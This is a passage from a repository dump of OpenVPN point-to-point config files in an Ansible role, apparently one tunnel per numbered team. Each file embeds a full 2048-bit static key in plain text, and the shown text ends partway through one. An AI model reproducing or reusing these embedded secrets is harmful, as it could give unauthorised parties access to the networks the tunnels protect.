24 | 6d4898bc82a14a871bd2e8734f145264 25 | dde3ee369678fab7568f89089c8f089a 26 | 8f228b39e3124d024d89d401b43fac57 27 | 987ef492454055295f901922569c2149 28 | 1fb55f785290ce5ff1d166125f119ce9 29 | fa89795b692d31d9cf89c289f2bd41a3 30 | 3fbba1cb4f6fbdbf9ee4c3a8af419f57 31 | 28153840ff23216d49715788c0d866f6 32 | f48c7d0ff0921bc964231f5a614ee1ac 33 | 9e6ca2577137cbb2f36c5d103a2c1e64 34 | a5e2aa5e81327e10c6ca257953a2acb2 35 | 9771632174514dd857e86a727414e807 36 | 94f00af83ded5c4a21c2bc7d70c4c39c 37 | 81a584830def2673811927db052e1703 38 | -----END OpenVPN Static key V1----- 39 | 40 | 41 | -------------------------------------------------------------------------------- /ansible/roles/vpn/files/openvpn_prod/259.conf: -------------------------------------------------------------------------------- 1 | mode p2p 2 | port 30259 3 | dev team259 4 | dev-type tun 5 | ifconfig 10.81.3.1 10.81.3.2 6 | route 10.61.3.0 255.255.255.0 7 | keepalive 10 60 8 | ping-timer-rem 9 | persist-tun 10 | persist-key 11 | 12 | txqueuelen 1000 13 | tun-mtu 1500 14 | fragment 1300 15 | mssfix 16 | 17 | 18 | # 19 | # 2048 bit OpenVPN static key 20 | # 21 | -----BEGIN OpenVPN Static key V1----- 22 | eae1f8e20e34b69b2296757208f6eafc 23 | 434bbec1880a494f4fa96c4ad8390b91 24 | 71ef210fd5c27f0051234565a3099160 25 | f63d9fbb7331633b40bdf1a561a7f310 26 | cc1797f29492efd2ad7568f02ceeafc2 27 | 8494615da8898ef9e60c1f78b27100d5 28 | f4d3b2b6588b182fe0bb5a86159d5c84 29 | 350ab7a786d60b6548f3cd7dfa06df6d 30 | 1444f21b44b69fae28a357f610c31263 31 | e07ff00ecdc961758d7bef19726549b0 32 | 9cda66d9961554f6d78829cbac24ef88 33 | a15c174871e9c49e378144314ce16cdc 34 | 698a3cf68226ccca81fd6336444c13b0 35 | 901cc4e5f0b1e1491de575ba39c2ae2c 36 | 9467949218dc06f4c82a313012245d7d 37 | 828a76a6f5798526b645c19ed2bf6fe4 38 | -----END OpenVPN Static key V1----- 39 | 40 | 41 | -------------------------------------------------------------------------------- /ansible/roles/vpn/files/openvpn_prod/260.conf: -------------------------------------------------------------------------------- 1 | mode p2p 2 | port 30260 3 | dev team260 4 | dev-type tun 5 | ifconfig 10.81.4.1 10.81.4.2 6 | route 10.61.4.0 255.255.255.0 7 | keepalive 10 60 8 | ping-timer-rem 9 | persist-tun 10 | persist-key 11 | 12 | txqueuelen 1000 13 | tun-mtu 1500 14 | fragment 1300 15 | mssfix 16 | 17 | 18 | # 19 | # 2048 bit OpenVPN static key 20 | # 21 | -----BEGIN OpenVPN Static key V1----- 22 | 92310b9d0e3cd31afc9c680e8362b7e6 23 | d6f7ab1a7946c26194d290e42d501a3a 24 | f57db12ffdd1497ee7505c2bad229ada 25 | c001c3b5bb1ce2cc6a18b22d69a29d59 26 | 02b681622415795149b75cdfafd96b84 27 | e240b64b5263f5f79365ff90ce89e672 28 | 0077876d035d264edeb06532e4d14ed3 29 | b2387c237101ed73b9e8dd6c8d0e684a 30 | b698a1ce3199a369edd0d65cbd859c99 31 | fb5037e91456590011fc027e36e57eed 32 | de2a8cbeca113c0065e2dfbad6361333 33 | daf99872a156f08a813fe6bcb88fee3a 34 | b687cf357c3859e9ef4ab7cb45c6c062 35 | 13b9c0c8c0e7e33b065000977a0f9050 36 | 15e2bc9165ad25cc58c9e58b82c861fe 37 | 2082a2137239252350dcd1339ce9b8ac 38 | -----END OpenVPN Static key V1----- 39 | 40 | 41 | -------------------------------------------------------------------------------- /ansible/roles/vpn/files/openvpn_prod/261.conf: -------------------------------------------------------------------------------- 1 | mode p2p 2 | port 30261 3 | dev team261 4 | dev-type tun 5 | ifconfig 10.81.5.1 10.81.5.2 6 | route 10.61.5.0 255.255.255.0 7 | keepalive 10 60 8 | ping-timer-rem 9 | persist-tun 10 | persist-key 11 | 12 | txqueuelen 1000 13 | tun-mtu 1500 14 | fragment 1300 15 | mssfix 16 | 17 | 18 | # 19 | # 2048 bit OpenVPN static key 20 | # 21 | -----BEGIN OpenVPN Static key V1----- 22 | 8611fa77f0632a6070c7bf69dd032b4c 23 | 3682baf7c4210dca014fa2de11805a9c 24 | 8d57eec1121eabb6b18911b13ee04b6f 25 | d688d6a208fad2c3fbeb983b6a363edd 26 | 7254f01059477061d5b7884f0b482e42 27 | 2be2032d4b0c5cf80032a7cccf8f8afc 28 | beb951c7d85f1de66b16ad3a5c616ffd 29 | abe44024f42a61e86afb513106fa9c81 30 | ef7ab5cd789bf7c0b03f3c698157344f 31 | d9a173e747aa4eaba6be7634f093c81e 32 | 890351232441958ff9b63c47acda7356 33 | a63f273028e55ff64faafd0445f6d8e0 34 | e8a0113953e08a247e09ec9ef1d48ae4 35 | b9ba8d166ede9fa69fdea7ff27ef9809 36 | ed147a6567e9c203dc015b5f66f143b9 37 | b88a7f02459da6277c286ceed8a3b102 38 | -----END OpenVPN Static key V1----- 39 | 40 | 41 | -------------------------------------------------------------------------------- /ansible/roles/vpn/files/openvpn_prod/262.conf: -------------------------------------------------------------------------------- 1 | mode p2p 2 | port 30262 3 | dev team262 4 | dev-type tun 5 | ifconfig 10.81.6.1 10.81.6.2 6 | route 10.61.6.0 255.255.255.0 7 | keepalive 10 60 8 | ping-timer-rem 9 | persist-tun 10 | persist-key 11 | 12 | txqueuelen 1000 13 | tun-mtu 1500 14 | fragment 1300 15 | mssfix 16 | 17 | 18 | # 19 | # 2048 bit OpenVPN static key 20 | # 21 | -----BEGIN OpenVPN Static key V1----- 22 | 685413dfbd7e46c4658036602187bea2 23 | 8b501f9a4bed7678c6cb45c77bfb88c8 24 | f4c535395a38781e9e4ac871feb59a38 25 | 751a803da5daae58a28c5b73f7206136 26 | 7bb565ade180f4cd8a1895e5bd63b340 27 | 829e78323dd200e8102d68b244e21516 28 | 1508e28eb427c2d1fda6bf8d17eb1c06 29 | 2bb41a4a23fb9517e5a0146ea91a132d 30 | 4c7574527bbfa6d949b2a0a6cd37238d 31 | d5cbe0fe1e402b5f3077271d49ce5e9a 32 | 30188baf5bfb101b69d3c04de0b046fa 33 | 658ce013fb404cc28b5860966ca97769 34 | 7a4494fdabcf2f921b968ffeaaa19fdb 35 | 7a3ef237b0cce98932f79a108b1dbacb 36 | c2b1cc077b00aae3d7f92806c1da0339 37 | fe6c22b66215fedd172cc126c6d3e96f 38 | -----END OpenVPN Static key V1----- 39 | 40 | 41 | -------------------------------------------------------------------------------- /ansible/roles/vpn/files/openvpn_prod/263.conf: -------------------------------------------------------------------------------- 1 | mode p2p 2 | port 30263 3 | dev team263 4 | dev-type tun 5 | ifconfig 10.81.7.1 10.81.7.2 6 | route 10.61.7.0 255.255.255.0 7 | keepalive 10 60 8 | ping-timer-rem 9 | persist-tun 10 | persist-key 11 | 12 | txqueuelen 1000 13 | tun-mtu 1500 14 | fragment 1300 15 | mssfix 16 | 17 | 18 | # 19 | # 2048 bit OpenVPN static key 20 | # 21 | -----BEGIN OpenVPN Static key V1----- 22 | 584237ddc55d8595faeeedbfbdd69915 23 | cd9c5afcf5724cc6b03fb91ca0d5bdb7 24 | 4ebf857039a54ed7fa8c1e75ffa57e93 25 | 5107b4a0d01f2eb9dfd3e18375ab9e39 26 | 88a86949987c34177f03eab17ea0a502 27 | 2bea10f5ebcfdf216cc90e04b351d429 28 | 1355302f54ddcc62d1e03ba79b900fe0 29 | 9556e4cb884ad45098ceb49b32cfc3f5 30 | 173ff606cc4db696879fbbeed1df7f6a 31 | 4b189e85d2e1e7c85638dc3a6e563543 32 | aa3abf21f995e392f0e75bcbfa0fa509 33 | cdd2ee0c01a874df3cc24a04bf75ce37 34 | 6977cf415ec093e2e51e00ea81581ac0 35 | 33dcaa26db3b409e561fcaa42c64a86b 36 | 2ce8d5f62612f7b01d27f9e3808284ba 37 | cc8502585d54bf1f2dcfe10ca3bfa8f0 38 | -----END OpenVPN Static key V1----- 39 | 40 | 41 | -------------------------------------------------------------------------------- /ansible/roles/vpn/files/openvpn_prod/264.conf: -------------------------------------------------------------------------------- 1 | mode p2p 2 | port 30264 3 | dev team264 4 | dev-type tun 5 | ifconfig 10.81.8.1 10.81.8.2 6 | route 10.61.8.0 255.255.255.0 7 | keepalive 10 60 8 | ping-timer-rem 9 | persist-tun 10 | persist-key 11 | 12 | txqueuelen 1000 13 | tun-mtu 1500 14 | fragment 1300 15 | mssfix 16 | 17 | 18 | # 19 | # 2048 bit OpenVPN static key 20 | # 21 | -----BEGIN OpenVPN Static key V1----- 22 | ab89247d81b4174f0b8243b6d91285d4 23 | 3359b91d38d73efcc9c6308fa4aa966f 24 | 44d33c0a612f32af3f35c4d00839e6fb 25 | 0f034f73e495c8e8d4f2e03becbfc733 26 | a329e7e49f30b6c5e87159751149e917 27 | bf98b425b5ffcd4175b4cbfe19508d6b 28 | 5fee19ebb7bc2e1c3dd741a89ac6b546 29 | 0da7b9af856be5a82a9bd4d996f8cdb2 30 | 730da497ba10a98271e91a3ebca9bb11 31 | 5a9cd8e96bdfbf9e0054e953b9d0e31c 32 | 2e6488d0391ce0da71f546f10b73643f 33 | ca0367e52edae8b5bb20f50a6fce2e0b 34 | 815abf3c423254fa9734c57f2905c61b 35 | 7ec114ef233017c2bf038baac81a2dff 36 | 40d55455c17b5e58f8374be108657ccd 37 | ed8e966e0ba632b0d0032d7276f101e0 38 | -----END OpenVPN Static key V1----- 39 | 40 | 41 | -------------------------------------------------------------------------------- /ansible/roles/vpn/files/openvpn_prod/265.conf: -------------------------------------------------------------------------------- 1 | mode p2p 2 | port 30265 3 | dev team265 4 | dev-type tun 5 | ifconfig 10.81.9.1 10.81.9.2 6 | route 10.61.9.0 255.255.255.0 7 | keepalive 10 60 8 | ping-timer-rem 9 | persist-tun 10 | persist-key 11 | 12 | txqueuelen 1000 13 | tun-mtu 1500 14 | fragment 1300 15 | mssfix 16 | 17 | 18 | # 19 | # 2048 bit OpenVPN static key 20 | # 21 | -----BEGIN OpenVPN Static key V1----- 22 | 2b6b7473bbc01db9b3b520497b6ecab4 23 | d4e37e9fddd54e08a00fa934929e2338 24 | 478c8948a949050129ac73cd26743174 25 | 882bf5b2cd4a8f82cc320ff69b626357 26 | 5b124a96d28013598efbcf747619d248 27 | 20035639bef5727dd3bc643a7e30d66b 28 | c5f5d2327719bdae169ca5147c00e6bd 29 | 830cae0a23635875e0cbeabc13c1ec60 30 | e47020cf5d9d668e636724197201ace9 31 | 9689bcc1c6c348d3532ae7508b2007f0 32 | 238bc4a227778bbe39b914000d16bc7c 33 | d43ccdb2520ebb2ea149cacd381e5d49 34 | f5d19e1acc91590474ad1195ce5c43d9 35 | 6b01225f9b1b2675e8f74ff0825d6767 36 | 338700be3b3c60b443ee48cfd627e1c9 37 | a5601a856e103bbf8d0a07b4a46c0c32 38 | -----END OpenVPN Static key V1----- 39 | 40 | 41 | -------------------------------------------------------------------------------- /ansible/roles/vpn/files/openvpn_prod/3.conf: -------------------------------------------------------------------------------- 1 | mode p2p 2 | port 30003 3 | dev team3 4 | dev-type tun 5 | ifconfig 10.80.3.1 10.80.3.2 6 | route 10.60.3.0 255.255.255.0 7 | keepalive 10 60 8 | ping-timer-rem 9 | persist-tun 10 | persist-key 11 | 12 | txqueuelen 1000 13 | tun-mtu 1500 14 | fragment 1300 15 | mssfix 16 | 17 | 18 | # 19 | # 2048 bit OpenVPN static key 20 | # 21 | -----BEGIN OpenVPN Static key V1----- 22 | 83ba740480eb67afd15a47902e37396d 23 | a11fd25f6a71eb87547174942c96d39b 24 | 04250869a2e09d7dfb5dcf33226fe14c 25 | 25139659996ea749adfdaefbb29f73cc 26 | 49b54b14403699b96a30b157a038e229 27 | 88075aaccbe7258bc61ada96f030fa8a 28 | f5d6b61d6b5b523772dda99dedbe7dec 29 | 019cbf7c1bc8557f29fadee50330edac 30 | 3ae97528705b98115692ddf3a0dd4712 31 | afa6c144a41175320b9e0a50fa92840e 32 | 7cc24fd62ab2964a6088248acd57ad9f 33 | 4b8a06d127711d8783862c54ddb9165c 34 | 3dc766fdaa99e5b10bec10ceb5c14665 35 | da88b4f0917f332caf3436a421666a32 36 | c5c73ef9b83dabb6df519b8392f7e9c4 37 | ca96a030523a1465d614ff09956f3da1 38 | -----END OpenVPN Static key V1----- 39 | 40 | 41 | -------------------------------------------------------------------------------- /ansible/roles/vpn/files/openvpn_prod/4.conf: -------------------------------------------------------------------------------- 1 | mode p2p 2 | port 30004 3 | dev team4 4 | dev-type tun 5 | ifconfig 10.80.4.1 10.80.4.2 6 | route 10.60.4.0 255.255.255.0 7 | keepalive 10 60 8 | ping-timer-rem 9 | persist-tun 10 | persist-key 11 | 12 | txqueuelen 1000 13 | tun-mtu 1500 14 | fragment 1300 15 | mssfix 16 | 17 | 18 | # 19 | # 2048 bit OpenVPN static key 20 | # 21 | -----BEGIN OpenVPN Static key V1----- 22 | 37d9e65d71970cf72eee25acfb6aacd2 23 | ec093f365533adf4d725c172654ac1a8 24 | a13841f955aa77c87c4a290373b4198d 25 | b6c1c5e2a4b9cabbb263c7e391943b94 26 | bfb22be0ecb54cf4256996029f3b2a91 27 | 1329a64db0ad9b3fdd008cceb759b9be 28 | 72e15b92fa2589c968f2c8d9938a84d9 29 | 6c8aa3b878a3ae83c18207d08bd62f01 30 | b0a43a396726ac3ce63a9e4ea0491ef3 31 | 645c7cc11ced0ef6997a1165e3a40aff 32 | c8742b15124f9a2a45df90252b017494 33 | 1fa8d829b26871555d79b2cb4521a05a 34 | b316f0cf00d26745585f4371fe997356 35 | 880a17254f60a06007cbb233febbc391 36 | d1745fb21ec58357c2aaffe7ae6dff39 37 | 5d641c2262a817902c5c3e2b23dbaf5b 38 | -----END OpenVPN Static key V1----- 39 | 40 | 41 | -------------------------------------------------------------------------------- /ansible/roles/vpn/files/openvpn_prod/5.conf: -------------------------------------------------------------------------------- 1 | mode p2p 2 | port 30005 3 | dev team5 4 | dev-type tun 5 | ifconfig 10.80.5.1 10.80.5.2 6 | route 10.60.5.0 255.255.255.0 7 | keepalive 10 60 8 | ping-timer-rem 9 | persist-tun 10 | persist-key 11 | 12 | txqueuelen 1000 13 | tun-mtu 1500 14 | fragment 1300 15 | mssfix 16 | 17 | 18 | # 19 | # 2048 bit OpenVPN static key 20 | # 21 | -----BEGIN OpenVPN Static key V1----- 22 | 4fa61b43f0fe4affd8e28e5fcc38ef97 23 | 9ad7f3b9cbdfb152dda8e64cca0a1a1c 24 | 88b2cb004090cdfd6662096cbf86e985 25 | 5ec476024dc93e9c058249452a170b0b 26 | 8f3096d4b32a34576e7e11a63c0d1506 27 | 16050a82f6e692e00444b6df38a6712b 28 | 11c85f5c19e8df7ec0f208342565a580 29 | bcda63d5098fb43224cd7a02bfcfb00c 30 | 6e286136b178a0ef544a291680d47dd2 31 | a90e0ea5cee3685312982163a8c6c054 32 | 05f7a65adb714d7330c49100e348dfe0 33 | 8c5b4147c0a2e5e7fca1f05ecc32bd95 34 | bceeed21b40b6bfd9b7b5ee64f362c95 35 | 394c74c2cea62a0e65330125303e7bdd 36 | 98c530ee2535c05939bb5161854bc39a 37 | c34f31caab7704dbd82fcbd29b5e19f2 38 | -----END OpenVPN Static key V1----- 39 | 40 | 41 | -------------------------------------------------------------------------------- /ansible/roles/vpn/files/openvpn_prod/512.conf: -------------------------------------------------------------------------------- 1 | mode p2p 2 | port 30512 3 | dev team512 4 | dev-type tun 5 | ifconfig 10.82.0.1 10.82.0.2 6 | route 10.62.0.0 255.255.255.0 7 | keepalive 10 60 8 | ping-timer-rem 9 | persist-tun 10 | persist-key 11 | 12 | txqueuelen 1000 13 | tun-mtu 1500 14 | fragment 1300 15 | mssfix 16 | 17 | 18 | # 19 | # 2048 bit OpenVPN static key 20 | # 21 | -----BEGIN OpenVPN Static key V1----- 22 | 271bbbcb7dfbba198accbba582bc8784 23 | cb425aaf4477f018379255296b275bca 24 | cf708859b4dd0f6bb9077c0eb1e79b42 25 | 69b25c786bd19ee887ce6d1f32605b61 26 | ee5a4d61c165aa4be4a6bab3d263723f 27 | 55cc9f93937120d920b5fe32f8dfe2a1 28 | d8e10e87a20d6cdf281ac01175b26bc5 29 | 1b752b02cd10eafda351421db2c1dbd8 30 | dbff04819b92ba563c0f60362c24dfdc 31 | c0c097cea00e5beea19f9ef23838df2b 32 | 8b3110f41ae9e919cc0184cf8b00a311 33 | a80577e42e91fe64d29da6b118690ab6 34 | 329bad60d6548d6afd82f06b20c33a9f 35 | f8b7f211dc096506b745af6f27359c73 36 | 09a38f3185ad5dc6ba018305a6f213c8 37 | 2b67afbe606e9037517f7a76ed85ecbf 38 | -----END OpenVPN Static key V1----- 39 | 40 | 41 | -------------------------------------------------------------------------------- /ansible/roles/vpn/files/openvpn_prod/513.conf: -------------------------------------------------------------------------------- 1 | mode p2p 2 | port 30513 3 | dev team513 4 | dev-type tun 5 | ifconfig 10.82.1.1 10.82.1.2 6 | route 10.62.1.0 255.255.255.0 7 | keepalive 10 60 8 | ping-timer-rem 9 | persist-tun 10 | persist-key 11 | 12 | txqueuelen 1000 13 | tun-mtu 1500 14 | fragment 1300 15 | mssfix 16 | 17 | 18 | # 19 | # 2048 bit OpenVPN static key 20 | # 21 | -----BEGIN OpenVPN Static key V1----- 22 | 8dee020398f2de5267f8a45e79f519d8 23 | 43633d8a915bf49a19de4013f9b81b24 24 | ee44eb2df4a99fb73b91dd410ecb3044 25 | 6a86f1631a95ce27f0d1131c04fc6499 26 | e2a1f7cb46a7487bad0d59593359bae6 27 | a5c12bac2b2c5507fca3d9ed9c880e66 28 | 28c889b96a4e50aedfe4aeb2420fdc84 29 | 717629ef0eccd50b913e6c1bad7eee0f 30 | 7845d360f8097320c397ac1ec0b0e7a8 31 | c5fe2c0ba4d47832d6ee276b5094ed2c 32 | 608fbc7ba92ca24b2d56a4212594e72e 33 | 6f8147be3cc0b633a8d67feb31c50c54 34 | 65b99183e9afc58ccd70587bf705be54 35 | e78a656b6d85c70f9c182bee03765fc8 36 | 4447db3fef99479b353f91aba4d483f0 37 | fe1f82af88c621e1aa516fad30cba7a1 38 | -----END OpenVPN Static key V1----- 39 | 40 | 41 | -------------------------------------------------------------------------------- /ansible/roles/vpn/files/openvpn_prod/514.conf: -------------------------------------------------------------------------------- 1 | mode p2p 2 | port 30514 3 | dev team514 4 | dev-type tun 5 | ifconfig 10.82.2.1 10.82.2.2 6 | route 10.62.2.0 255.255.255.0 7 | keepalive 10 60 8 | ping-timer-rem 9 | persist-tun 10 | persist-key 11 | 12 | txqueuelen 1000 13 | tun-mtu 1500 14 | fragment 1300 15 | mssfix 16 | 17 | 18 | # 19 | # 2048 bit OpenVPN static key 20 | # 21 | -----BEGIN OpenVPN Static key V1----- 22 | 415e4d8c9ad89e24d8ed3ed805e73717 23 | d1d83d64b78d457f1e4d112ed9780cba 24 | 265e337671198a962fd29650c17a87eb 25 | d06dcec60c6c0f13d598750f9dadf661 26 | c02b476fb3e2bf18ea05e1c697c6049a 27 | bd473be2559af235a9891b65d14d48c3 28 | 2b3b45187304ad710fe7dbb5d0be0d43 29 | 6635f73941bb785c19ca080ad1ca08bc 30 | e2188627f6919b3a59881be6eef0dd2c 31 | 3b5a7ed45b5707258b6f3f607e5bb69e 32 | 1dba43bf77c855e28b5adeebabfbc72f 33 | 71b48250e2db60ffb5bfcd7940974362 34 | c6f535c3a92bf1c97e2692b86401c388 35 | a368a76bb578053e8f640ce164346e5f 36 | ad31079690be1b22a07a3a92d6e9649d 37 | c28cca7931ab4457437f5e70bcfe2d60 38 | -----END OpenVPN Static key V1----- 39 | 40 | 41 | -------------------------------------------------------------------------------- /ansible/roles/vpn/files/openvpn_prod/515.conf: -------------------------------------------------------------------------------- 1 | mode p2p 2 | port 30515 3 | dev team515 4 | dev-type tun 5 | ifconfig 10.82.3.1 10.82.3.2 6 | route 10.62.3.0 255.255.255.0 7 | keepalive 10 60 8 | ping-timer-rem 9 | persist-tun 10 | persist-key 11 | 12 | txqueuelen 1000 13 | tun-mtu 1500 14 | fragment 1300 15 | mssfix 16 | 17 | 18 | # 19 | # 2048 bit OpenVPN static key 20 | # 21 | -----BEGIN OpenVPN Static key V1----- 22 | fb02b9b0ec89d351c5d83f335cd9ac88 23 | 1c57aaec96ce676d1dba5edf4e17bc96 24 | 834e63a17f1bae0093e80b17a5b37515 25 | ddd39e13d88d37f5976f82a9bb79d2a7 26 | 3a8ae04802c5c70293ebbfb8f3413f96 27 | a5cf2c601d6f4f270d37ff18a1de0e5c 28 | 9dca6e38d1d4bef91b8b6b7c2f2ca1bf 29 | 4d0e442effeb073286700a902179f90f 30 | f2c43596dc1096d962e9a96c972aa8ef 31 | e955ef6b5ae675526214e265ee0069dc 32 | 5c7b98741185b9479d28c8ac940c2964 33 | e3522135d6b35fd528602d335e9fb2c4 34 | 7cd12b136081d2eff980247522db7530 35 | 58cfc7592924df675b2d70a2bf4e6286 36 | f60a7a550e6eb4afbacd8fd45b24b7ac 37 | 10286f944acea54ad47860058689fd5f 38 | -----END OpenVPN Static key V1----- 39 | 40 | 41 | -------------------------------------------------------------------------------- /ansible/roles/vpn/files/openvpn_prod/516.conf: -------------------------------------------------------------------------------- 1 | mode p2p 2 | port 30516 3 | dev team516 4 | dev-type tun 5 | ifconfig 10.82.4.1 10.82.4.2 6 | route 10.62.4.0 255.255.255.0 7 | keepalive 10 60 8 | ping-timer-rem 9 | persist-tun 10 | persist-key 11 | 12 | txqueuelen 1000 13 | tun-mtu 1500 14 | fragment 1300 15 | mssfix 16 | 17 | 18 | # 19 | # 2048 bit OpenVPN static key 20 | # 21 | -----BEGIN OpenVPN Static key V1----- 22 | 5d40e824b7e0062ea344c60c2d4cc498 23 | b974f645afbf3e5d01691cb37321638c 24 | 9d0fc5a74bb1954d7ef39bd9f8440d3a 25 | d748d55300694cfa567e62dd27aa0b0c 26 | 9fade9cd4c1c48af51d6bf37db6eb27c 27 | 315ba48d7301f4a97abbf4c9f831edc9 28 | c328eaa585cc3207e725eab2b2f7a2d9 29 | e0c8454560ca7b5772513597303a92e5 30 | 1f3aab182de38d2eaca44c7c074db810 31 | 8d97e214566928655b870c1591b79d98 32 | 25bddc33e953d8607523610681308a7a 33 | 97fe4f2c734451cbaffc473a6f4c06ab 34 | 0e2eb587080b3aee764a1b9bb98caa1c 35 | 11e768ed7c0b9601bc396a10adec87cd 36 | 3f4ee7122873578825adcc4778afb4ed 37 | 639bbdb51c420d8efc752de5753ed828 38 | -----END OpenVPN Static key V1----- 39 | 40 | 41 | -------------------------------------------------------------------------------- /ansible/roles/vpn/files/openvpn_prod/517.conf: -------------------------------------------------------------------------------- 1 | mode p2p 2 | port 30517 3 | dev team517 4 | dev-type tun 5 | ifconfig 10.82.5.1 10.82.5.2 6 | route 10.62.5.0 255.255.255.0 7 | keepalive 10 60 8 | ping-timer-rem 9 | persist-tun 10 | persist-key 11 | 12 | txqueuelen 1000 13 | tun-mtu 1500 14 | fragment 1300 15 | mssfix 16 | 17 | 18 | # 19 | # 2048 bit OpenVPN static key 20 | # 21 | -----BEGIN OpenVPN Static key V1----- 22 | 24cfc1c52765e79ae13d1d7a5e55011d 23 | 8f58772d40b8e0719215cf0378c7752d 24 | b53811c44a203d032138baa9040fa117 25 | d14517056b39ce2dfbcf746b1f9d2afe 26 | 3e88a2df1749a2ad05f257db3e220f19 27 | 5a45585914b4fd5817761b747399379d 28 | b75b70e8f26560de80cde017ba32c1cb 29 | e2376ba0c210578b1b01903cf819f80d 30 | b87382e776682aad7297bf201bb94609 31 | 30004547d79cfa5552973b642ebc663e 32 | 24c8ab9adad0db28c042b61efe0c3c93 33 | c4207923815a3b3951aed48b6ea133bc 34 | d2682d23569ae3fd57a5142ca9298ab9 35 | 2fa57cb84cec1b5997dac0323e4b634a 36 | 0b2997dac92a8518123a58c89d95643c 37 | 0d6eaa0993699e6f392e7e3dea5e882f 38 | -----END OpenVPN Static key V1----- 39 | 40 | 41 | -------------------------------------------------------------------------------- /ansible/roles/vpn/files/openvpn_prod/518.conf: -------------------------------------------------------------------------------- 1 | mode p2p 2 | port 30518 3 | dev team518 4 | dev-type tun 5 | ifconfig 10.82.6.1 10.82.6.2 6 | route 10.62.6.0 255.255.255.0 7 | keepalive 10 60 8 | ping-timer-rem 9 | persist-tun 10 | persist-key 11 | 12 | txqueuelen 1000 13 | tun-mtu 1500 14 | fragment 1300 15 | mssfix 16 | 17 | 18 | # 19 | # 2048 bit OpenVPN static key 20 | # 21 | -----BEGIN OpenVPN Static key V1----- 22 | e408e3dd21b15696451c14abc7f7c162 23 | 06dfe388a96ebe90d9dc73065632cf4b 24 | dde793d1f38294c72fa1d56da77a1915 25 | 6ee904c2f92ebca3214e92862202d346 26 | 07ceefdee151dc27a3ee47220700d666 27 | 1e404ac615806dd448a7595cdcd37d8d 28 | 96dd64603a1d217dc4c173c3b2a78385 29 | 8360dcfba1d016a6f4e6d13ce59d8117 30 | eda82ea6b9d8a397c3953981373f0816 31 | 714c5ee357b0d4365fbf5a1818846042 32 | 923f943f8a1c06b3d3db54c7a77e84a7 33 | 12503e2da782e80e1dd5ae4593c41fa9 34 | aeeefa305d0d572930856ae3aec61f18 35 | 7cbdc275dd05c522e7eafa7c8e8e362f 36 | 0fd710f8c5f350a7aa9db62f049409e3 37 | f659bb97a7d488a904d6c6eef927d4d4 38 | -----END OpenVPN Static key V1----- 39 | 40 | 41 | -------------------------------------------------------------------------------- /ansible/roles/vpn/files/openvpn_prod/519.conf: -------------------------------------------------------------------------------- 1 | mode p2p 2 | port 30519 3 | dev team519 4 | dev-type tun 5 | ifconfig 10.82.7.1 10.82.7.2 6 | route 10.62.7.0 255.255.255.0 7 | keepalive 10 60 8 | ping-timer-rem 9 | persist-tun 10 | persist-key 11 | 12 | txqueuelen 1000 13 | tun-mtu 1500 14 | fragment 1300 15 | mssfix 16 | 17 | 18 | # 19 | # 2048 bit OpenVPN static key 20 | # 21 | -----BEGIN OpenVPN Static key V1----- 22 | c0e326298190fd09d1eeda4f0bc3ea5a 23 | f42cd0e585267ed10c2e83250971fd43 24 | 98ff5d5779cb134e30921d0c68bac692 25 | b671ae0ece36046712cf6418dffdfa65 26 | a6f466a89b9507bddad68589f938d077 27 | ff4de16dbf9689d531ab3422014d369a 28 | 14899b66bbb40d3689f729f30a01bdcf 29 | b5996bdee8b2e2235cf1090509ae4afb 30 | cdce47e60ec4956f35bc9a3083faabb4 31 | 63aa8b411971327e180e62196858aede 32 | 3867c44af0e5150fb28b7f99dcfb6b52 33 | 34bd126bfbdd5934fbf2c6d88a931c1c 34 | 839979b9483583d8125061c8e3d922f4 35 | 0a8d00f49e3c914356f7a08255478043 36 | 453412d901bcdbba807377b60bfa3af1 37 | 24a61492d2d6b3d09998cd7cdbe1a6a0 38 | -----END OpenVPN Static key V1----- 39 | 40 | 41 | -------------------------------------------------------------------------------- /ansible/roles/vpn/files/openvpn_prod/520.conf: -------------------------------------------------------------------------------- 1 | mode p2p 2 | port 30520 3 | dev team520 4 | dev-type tun 5 | ifconfig 10.82.8.1 10.82.8.2 6 | route 10.62.8.0 255.255.255.0 7 | keepalive 10 60 8 | ping-timer-rem 9 | persist-tun 10 | persist-key 11 | 12 | txqueuelen 1000 13 | tun-mtu 1500 14 | fragment 1300 15 | mssfix 16 | 17 | 18 | # 19 | # 2048 bit OpenVPN static key 20 | # 21 | -----BEGIN OpenVPN Static key V1----- 22 | 1fdb8ec6faf1ec923e89b83fe409dfdb 23 | bdd924e4ec23ec021c556d7fc300f6d9 24 | dc6ed48d0980490787931a3a17af5001 25 | b7d2f84a6c715a20a243204329378558 26 | 05cf3793e7a01a219bc8c1341efb4015 27 | 31adddeaa83f74d296a863d5d6fcbb7a 28 | 0b7f55038fe9ac5698356593b2f556b6 29 | 11af3f1d692b917a3cba5688ecc2ac7d 30 | 1d24f3c4517f0779cc9d862745dae74a 31 | 3380674ebc2f0c3c9299d45020b4aa54 32 | 30fb9aad7c25e145af6311b1b22428c0 33 | 9f11a0adcbff9e7264c1be3a6e2be197 34 | 35733d349fefe7b744f6f251d44b770d 35 | e61c6c8f5ad99498221d259947bd40e5 36 | 3f2d592296858281e4a46adc1202a1ba 37 | 3684e1c9fbd4e12239722a26cb1a4d62 38 | -----END OpenVPN Static key V1----- 39 | 40 | 41 | -------------------------------------------------------------------------------- /ansible/roles/vpn/files/openvpn_prod/521.conf: -------------------------------------------------------------------------------- 1 | mode p2p 2 | port 30521 3 | dev team521 4 | dev-type tun 5 | ifconfig 10.82.9.1 10.82.9.2 6 | route 10.62.9.0 255.255.255.0 7 | keepalive 10 60 8 | ping-timer-rem 9 | persist-tun 10 | persist-key 11 | 12 | txqueuelen 1000 13 | tun-mtu 1500 14 | fragment 1300 15 | mssfix 16 | 17 | 18 | # 19 | # 2048 bit OpenVPN static key 20 | # 21 | -----BEGIN OpenVPN Static key V1----- 22 | 937a1332eca05d8e6074c2640659f44f 23 | 3b6d9907dfc5482a1d140e5b67377c1d 24 | b9871610ff98292fcc92b5f66fcab569 25 | d2f2f76affa3af64f967a32d59a938fa 26 | f510b5a42a64764764c728102e2b4584 27 | 6e894124fa2083a5c8c33f45f161df59 28 | 9cdd7c71d8bd03f055467f1903de144a 29 | 397ee7f3cfc552e52b26b9b8f97319e7 30 | 465b83810e5b89b2ecdfc289b0eafcb6 31 | ad727f4f8eaa87e72183e26feb11accf 32 | ffeeb9f9eecc5175f190f6e60bd5af49 33 | 6efe4e243b31aefdf9e45c78e860c424 34 | 6b488fa14166c0c018ba5110bbe5318b 35 | a16227bdf660dcaacbd04566d2283def 36 | 86e1d156245daffd278ae9b2f9084f8e 37 | 